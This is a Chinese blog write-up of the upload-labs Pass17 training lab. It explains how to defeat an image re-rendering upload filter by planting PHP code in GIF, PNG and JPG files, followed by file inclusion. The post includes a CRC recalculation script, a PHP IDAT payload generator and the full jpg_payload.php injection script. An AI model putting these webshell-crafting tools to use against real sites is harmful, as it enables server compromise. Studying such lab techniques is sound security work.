upload-labs Pass17

管理员 2020-02-14 PM 176℃ 0条

1.直接查看源码

2.大概过滤的流程是下面这样:

先是根据数据包识别文件名,还有MIME类型,这两个我们直接修改包就可以绕过,

绕过了上面的检测,上传的临时文件会移动到target_path这个路径。

然后来到了imagecreatefromjpeg()这个函数进行渲染处理,

关于 imagecreatefromjpeg()函数。渲染成功会返回一个渲染后的图像,失败则返回 false,必须要是真的图片,也就是打开能看到图像的文件才能通过渲染,不然都会返回 false。

如果能够渲染那么返回渲染后的图片,并且重命名存入服务器,然后使用unlink删除临时文件路径。

如果渲染失败,也就是返回false,那么提示“该文件不是jpg”格式的图片,并且使用unlink函数删除临时文件路径。

3.知道了这个流程,那么问题就只在如何绕过 imagecreatefromjpeg 上面,因为是要图像文件才能渲染,不然会返回 flase,那么我们之前使用文件头 GIF89a已经不能成功了。

可以看到绕不过检查。

4.那么我们可以传一个真的图片,但是传真图片就没有意义了,因为图片里面不包含我们的恶意代码。我们思考有没有一种思路,就是把恶意代码植入图片,再利用文件包含漏洞去执行,答案是可以的。

比如jpg图片,把恶意代码植入图片的方法就是在图片的解码最后面添加上去。

这里我用notepad++ (记事本好像不得,看不到16进制的编码)打开,拉到最后面找到 FF D9 这个结束符,jpg 文件头标识 是 0xff, 0xd8 开头, 0xff 0xd9 结尾。直接在最后面添加我们的phpinfo代码。

然后另存,保留原文件备用。去把图片木马上传

文件的内容:

可以清楚的看到我们的恶意代码

上传成功了,图片框展示了我们上传的图片,而且文件名改了。

5.去文件包含执行一下。

正常打开可以

没有执行phpinfo这是为什么呢?

6.其实这是因为我们前面说过的,程序对图片进行了二次渲染。渲染过后图片内的编码自然是改变了,我们的恶意代码也被改变了,所以没法执行。那这可怎么办?

发布GIF

我们可以把渲染后的图片下载到本地,与图片木马进行对比。

我在网上找了张gif图保存在桌面,命名为1.gif。

然后我拿去上传成功,并且我把这张渲染后的图保存到本地。命名为2.gif

然后我电脑桌面就出现了两个gif图片,也就是渲染前跟渲染后的图片

然后使用 010 Editor 这个16进制编辑器进行对比内容,找到相同的内容,也就是渲染前后都没变的内容。关于这个工具大家可以网上搜索下载

修改渲染前后没有改变的地方,插入我们的恶意代码

有同学会问,为什么这个恶意代码怎么和我们之前的不一样呢,因为我在实验中发现插入<?php phpinfo();?>会使恶意代码不完整,当使用<?=phpinfo();?>就没事,其实两句代码都是一样的,写法不同而已。这个要靠大家去实验

保存后去上传图片,可以看到包含有我们的恶意代码

上传成功,文件名是29711.gif

去访问这张图片,正常显示

现在我们对它进行文件包含看看会发生什么

phpinfo执行了,怎么回事呢,我们把这张图保存在本地命名为3.gif,然后使用010 Editor打开查看,发现我们的恶意代码还在,即使渲染过都还在。这样我们就达到了利用图片木马的目的,一句话木马也可以利用这个方法执行。

发布png

png的二次渲染的绕过并不能像gif那样简单。

png文件组成

png图片由3个以上的数据块组成。

PNG定义了两种类型的数据块,一种是称为关键数据块(关键块),这是标准的数据块,另一种叫做辅助数据块(辅助块),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT,IEND),每个PNG文件都必须包含它们。

数据块结构

CRC(循环冗余校验)域中的值是对块类型代码域和块数据域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC编码生成多重式进行计算:

x32 + x26 + x23 + x22 + x16 + x12 + x11 + x10 + x8 + x7 + x5 + x4 + x2 + x + 1

分析数据块

人类发展报告

数据块IHDR(标题块):它包含有PNG文件中存储的图像数据的基本信息,并且要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,它的格式如下图所示。

LTE

标记PLTE数据块是辅助数据块,对于索引图像,某些信息是必须的,显示的颜色索引从0开始编号,然后是1,2……,显示的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,看上去中的颜色数不可以超过2 ^ 4 = 16),否则,这将导致PNG图像不合法。

IDAT

图像数据块IDAT(图像数据块):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND

图像结束数据IEND(图像预告片):它已标记PNG文件或数据流已经结束,并且必须要放置文件的尾部。

如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的的:

00 00 00 00 49 45 4E 44 AE 42 60 82

编写php代码

在网上找到了两种方式来制作绕过二次渲染的png木马。

写入PLTE数据块

php静态在对PLTE数据块验证的时候,主要进行了CRC校验。所以可以再将块数据域插入php代码,然后重新计算相应的crc值并修改即可。

这种方式只针对索引彩色图像的png图片才有效,在选取的图片时可根据IHDR数据块的颜色类型辨别。03为索引彩色图像。

  1. 在PLTE数据块编写php代码。
  2. 计算PLTE数据块的CRC
    CRC脚本

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

运行结果

526579b0

3.修改CRC值

4.验证
将修改后的png图片上传后,下载到本地打开

写入IDAT数据块

这里有国外大牛写的脚本,直接拿来运行即可。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行后得到1.png。上传后下载到本地打开如下图

发布jpg

这里也采用国外大牛编写的脚本jpg_payload.php。

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方法

准备

随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg

插入php代码

使用脚本处理1.jpg,命令 使用16位二进制编辑器打开,就可以看到插入的php代码。php jpg_payload.php 1.jpg


发布图片马

将生成的payload_1.jpg上传。

验证

将上传的图片再次下载到本地,使用16位编辑器打开

可以看到,php代码没有被删除。
证明我们成功上传了包含php代码的图片。

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片。

标签: 二次渲染

非特殊说明,本博所有文章均为博主原创。

评论啦~